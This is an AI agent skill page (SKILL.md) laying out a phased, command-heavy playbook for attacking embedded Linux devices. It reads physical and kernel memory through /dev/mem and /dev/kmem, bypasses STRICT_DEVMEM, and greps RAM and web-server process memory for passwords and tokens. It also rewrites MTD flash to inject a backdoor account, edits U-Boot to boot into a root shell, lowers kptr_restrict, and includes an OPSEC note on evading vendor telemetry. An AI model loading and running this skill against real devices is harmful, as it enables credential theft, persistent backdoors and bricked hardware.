# Dev Mem

> Runtime memory access and manipulation on embedded Linux via /dev/mem, /dev/kmem, and MTD devices. Covers physical memory reads/writes, kernel symbol resolution via /proc/kallsyms, live firmware patching with mtd_debug and flashcp, and bypassing memory-access restrictions (CONFIG_STRICT_DEVMEM, kernel.perf_event_paranoid).

- Skill: `purpleailab/dev-mem` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/dev-mem`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/dev-mem/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/dev-mem

---


# /dev/mem, /dev/kmem, and MTD Runtime Patching

> On embedded Linux, physical memory and raw flash are often accessible
> as character devices. Combined with /proc/kallsyms for kernel symbol
> resolution, these interfaces allow runtime rootkit injection, credential
> extraction, and live firmware modification without touching the filesystem.

## Prerequisites

- Shell access on the target (obtained via UART/SSH/telnet or post-exploitation).
- Target runs Linux (confirms with `uname -a`).
- Check access: `ls -la /dev/mem /dev/kmem /dev/mtd*`.
- Tools: `devmem2` (or `/dev/mem` via dd), `mtd_debug`, `flashcp`, `busybox devmem`.

```bash
# Confirm device nodes exist
ls -la /dev/mem /dev/kmem /dev/mtd* 2>/dev/null

# Confirm kernel version and MTD subsystem
uname -a
cat /proc/mtd
```

---

## Phase 1 — Physical Memory Read via /dev/mem

### 1a. devmem2 (most common embedded tool)

```bash
# Read 4-byte word at physical address 0x10000000
devmem2 0x10000000 w

# Read byte at address
devmem2 0x10000000 b

# Write 4-byte word (use carefully — can crash SoC peripherals)
devmem2 0x10000000 w 0xDEADBEEF

# BusyBox devmem (same syntax on BusyBox builds)
busybox devmem 0x10000000 32
```

### 1b. dd + /dev/mem

```bash
# Dump 4KB region of physical RAM starting at 0x80000000 (DRAM base on many MIPS/ARM)
dd if=/dev/mem bs=1024 skip=$((0x80000000 / 1024)) count=4 > /tmp/mem_region.bin

# Read peripheral register (e.g., GPIO base on BCM2835 = 0x3F200000)
dd if=/dev/mem bs=4 skip=$((0x3F200034 / 4)) count=1 2>/dev/null | xxd

# Search physical RAM for a string (e.g., password, key material)
strings /dev/mem 2>/dev/null | grep -iE 'password|secret|key|token' | head -20

# Dump first 32MB of DRAM to exfil
dd if=/dev/mem bs=1M count=32 of=/tmp/memdump_32m.bin
```

### 1c. Bypass CONFIG_STRICT_DEVMEM

Kernels with `CONFIG_STRICT_DEVMEM=y` block non-MMIO physical addresses.

```bash
# Check if restriction is active
dmesg 2>/dev/null | grep -i "devmem\|mem: Checking"

# Bypass A: MMIO regions are always permitted — map peripheral registers
#   GPIO, UART, timers are MMIO and bypass STRICT_DEVMEM checks.

# Bypass B: Use /proc/kcore (virtual kernel memory, may still be available)
dd if=/proc/kcore bs=1M count=8 of=/tmp/kcore_partial.bin 2>/dev/null

# Bypass C: Kernel module injection via /dev/kmem (see Phase 2)

# Bypass D: mmap /proc/<pid>/mem of a privileged process
# (works when CAP_SYS_PTRACE is available)
cat /proc/1/maps | grep heap
dd if=/proc/1/mem bs=1 skip=$((heap_start)) count=4096 of=/tmp/init_heap.bin 2>/dev/null
```

---

## Phase 2 — Kernel Memory via /dev/kmem

`/dev/kmem` exposes virtual kernel address space. Available on older kernels
(pre-3.7) or when compiled without `CONFIG_DEVKMEM=n`.

```bash
# Check kernel virtual addresses from kallsyms
# (available when CONFIG_KALLSYMS=y, common on embedded devices for crash debugging)
cat /proc/kallsyms | grep -E ' sys_call_table| commit_creds| prepare_kernel_cred'
# Example: ffffffff81801460 R sys_call_table

# Read kernel symbol value via /dev/kmem
SYM_ADDR=0xffffffff81801460
dd if=/dev/kmem bs=8 skip=$(( SYM_ADDR / 8 )) count=1 2>/dev/null | xxd

# Patch a kernel variable (e.g., set uid to 0 for current process)
# WARNING: wrong address = immediate kernel panic
# Use devmem2 with the virtual address:
devmem2 $SYM_ADDR q    # quad-word read (64-bit)
```

### 2a. Extract kernel credentials from /proc/kcore

```bash
# /proc/kcore is ELF-formatted kernel memory snapshot
# Use volatility3 with a Linux profile if available:
vol -f /proc/kcore linux.bash.Bash    # recover bash history from kernel
vol -f /proc/kcore linux.pslist.PsList

# Manual: search for credential structures
strings /proc/kcore 2>/dev/null | grep -E 'root|password|shadow' | head -20
```

---

## Phase 3 — MTD Raw Flash Access

MTD (Memory Technology Devices) exposes raw NOR/NAND flash. On embedded Linux,
`/dev/mtd*` (char) and `/dev/mtdblock*` (block) devices are the primary paths
for read/write access to firmware partitions.

### 3a. Partition enumeration

```bash
# List all MTD partitions with sizes and names
cat /proc/mtd
# Example output:
# dev:    size   erasesize  name
# mtd0: 00040000 00010000 "u-boot"
# mtd1: 00010000 00010000 "u-boot-env"
# mtd2: 00200000 00010000 "kernel"
# mtd3: 00600000 00010000 "rootfs"
# mtd4: 00200000 00010000 "storage"
```

### 3b. Dump MTD partition

```bash
# Method A: dd from block device
dd if=/dev/mtdblock3 of=/tmp/rootfs.bin bs=512

# Method B: mtd_debug read (preferred — handles bad blocks on NAND)
mtd_debug read /dev/mtd3 0 $((0x600000)) /tmp/rootfs_debug.bin

# Method C: nanddump (NAND-aware, includes OOB handling)
nanddump --noecc --omitoob /dev/mtd3 -f /tmp/rootfs_nand.bin
```

### 3c. Write (patch) an MTD partition

```bash
# DANGER: Writing to wrong partition bricks the device.
# Always verify partition map and backup before writing.

# Step 1: Backup the partition to be patched
mtd_debug read /dev/mtd3 0 $((0x600000)) /tmp/rootfs_backup.bin
sha256sum /tmp/rootfs_backup.bin > /tmp/rootfs_backup.bin.sha256

# Step 2: Modify the backup (e.g., inject backdoor account into /etc/passwd)
# Mount squashfs, modify, repack, place in /tmp/rootfs_patched.bin

# Step 3: Erase the MTD partition (REQUIRED before write on NOR flash)
flash_erase /dev/mtd3 0 0        # erase entire partition
# Or with mtd_debug:
mtd_debug erase /dev/mtd3 0 $((0x600000))

# Step 4: Write patched image
flashcp -v /tmp/rootfs_patched.bin /dev/mtd3
# Or mtd_debug write:
mtd_debug write /dev/mtd3 0 $((0x600000)) /tmp/rootfs_patched.bin

# Step 5: Verify write
mtd_debug read /dev/mtd3 0 $((0x600000)) /tmp/rootfs_verify.bin
diff /tmp/rootfs_patched.bin /tmp/rootfs_verify.bin && echo "WRITE OK" || echo "MISMATCH"
```

### 3d. U-Boot environment modification via MTD

```bash
# U-Boot env is typically in mtd1 (check /proc/mtd for "u-boot-env")
UBOOT_ENV_MTD=/dev/mtd1

# Dump current env
dd if=/dev/mtdblock1 of=/tmp/uboot_env.bin

# Decode: first 4 bytes = CRC32, then null-delimited key=value pairs
python3 -c "
import struct, zlib
data = open('/tmp/uboot_env.bin','rb').read()
crc_stored = struct.unpack('<I', data[:4])[0]
crc_calc = zlib.crc32(data[4:]) & 0xFFFFFFFF
print(f'CRC stored: {crc_stored:#010x}, calc: {crc_calc:#010x}')
env = data[4:].split(b'\\x00')
for e in env:
    if e: print(e.decode(errors='replace'))
"

# Modify env and rewrite with correct CRC
python3 << 'EOF'
import struct, zlib

env_vars = {
    "bootargs": "root=/dev/mtdblock3 rootfstype=squashfs console=ttyS0,115200 init=/bin/sh",
    "bootcmd": "run bootlinux",
    # add more vars as needed
}

# Build null-delimited env block (standard U-Boot env size = 64KB)
ENV_SIZE = 0x10000
payload = b""
for k, v in env_vars.items():
    payload += f"{k}={v}\x00".encode()
payload += b"\x00"
payload = payload.ljust(ENV_SIZE - 4, b"\xff")

crc = struct.pack("<I", zlib.crc32(payload) & 0xFFFFFFFF)
with open("/tmp/uboot_env_patched.bin", "wb") as f:
    f.write(crc + payload)
print("Patched env written")
EOF

# Flash patched env
flash_erase /dev/mtd1 0 0
flashcp /tmp/uboot_env_patched.bin /dev/mtd1
```

---

## Phase 4 — Live Process Memory Access

```bash
# List running processes with memory maps
cat /proc/1/maps       # init/systemd
# Identify heap/stack regions

# Read from process memory (requires same UID or root)
# Read 256 bytes at heap start of PID 1234
HEAP_START=0x00400000  # from /proc/1234/maps
dd if=/proc/1234/mem bs=1 skip=$HEAP_START count=256 of=/tmp/pid_mem.bin 2>/dev/null

# Search for credentials in web server process memory (lighttpd / httpd)
WEB_PID=$(pgrep lighttpd || pgrep httpd || pgrep uhttpd)
strings /proc/$WEB_PID/mem 2>/dev/null | grep -iE 'password|session|token' | head -20

# GDB (if available) — attach to running process
gdb -p $WEB_PID -batch -ex "x/512s 0x$(grep heap /proc/$WEB_PID/maps | head -1 | cut -d- -f1)" \
    2>/dev/null | grep -iE 'password|secret|key'
```

---

## Phase 5 — /proc/kallsyms Exploitation

```bash
# Read symbol table (requires root or kernel.kptr_restrict=0)
cat /proc/kallsyms | grep -E 'sys_call_table|commit_creds|prepare_kernel_cred|selinux'

# Check kptr_restrict setting
cat /proc/sys/kernel/kptr_restrict
# 0 = all addresses visible, 1 = visible to root, 2 = hidden always

# Lower restriction (if writable — common on IoT with permissive sysctl)
echo 0 > /proc/sys/kernel/kptr_restrict

# Use symbol addresses for kernel exploit primitives
# commit_creds(prepare_kernel_cred(0)) pattern for local priv-esc
# (pass to kernel module or mmap-based shellcode)
```

---

## Evidence

```bash
EVDIR=/workspace/evidence/iot/<target>/devmem
mkdir -p "$EVDIR"
cp /tmp/memdump_32m.bin "$EVDIR/" 2>/dev/null
cp /tmp/rootfs_backup.bin "$EVDIR/" 2>/dev/null
sha256sum "$EVDIR"/*.bin > "$EVDIR/checksums.sha256"
echo "MTD partition map:" >> "$EVDIR/notes.txt"
cat /proc/mtd >> "$EVDIR/notes.txt"
echo "kallsyms sys_call_table:" >> "$EVDIR/notes.txt"
cat /proc/kallsyms | grep sys_call_table >> "$EVDIR/notes.txt"
```

## OPSEC Notes

- MTD erase+write operations are irreversible if the backup is lost. Keep the backup
  in `/workspace/evidence/` before any write operation.
- Writing wrong data to the U-Boot partition at offset 0x0 bricks the device with no
  software recovery path. Triple-check partition map from `/proc/mtd` before writing.
- `/dev/mem` reads of active MMIO registers (UART, SPI, GPIO) can interfere with
  peripheral operation and may trigger watchdog resets.
- On hardened devices (CONFIG_STRICT_DEVMEM, kernel.dmesg_restrict), memory access
  may generate audit log entries visible to the vendor's telemetry pipeline.
- MTD writes generate wear on flash cells; each erase cycle degrades the chip.
  Limit writes to the minimum needed; document all writes for device-return procedures.

## References

- mtd-utils documentation: `https://github.com/sigma-star/mtd-utils`
- Linux MTD subsystem: `https://www.linux-mtd.infradead.org/doc/general.html`
- devmem2 tool: `https://github.com/VCTLabs/devmem2`
- Kernel exploitation via /dev/mem: `references/devmem-kernel-exploit.md`
- U-Boot env format: `https://u-boot.readthedocs.io/en/latest/usage/environment.html`

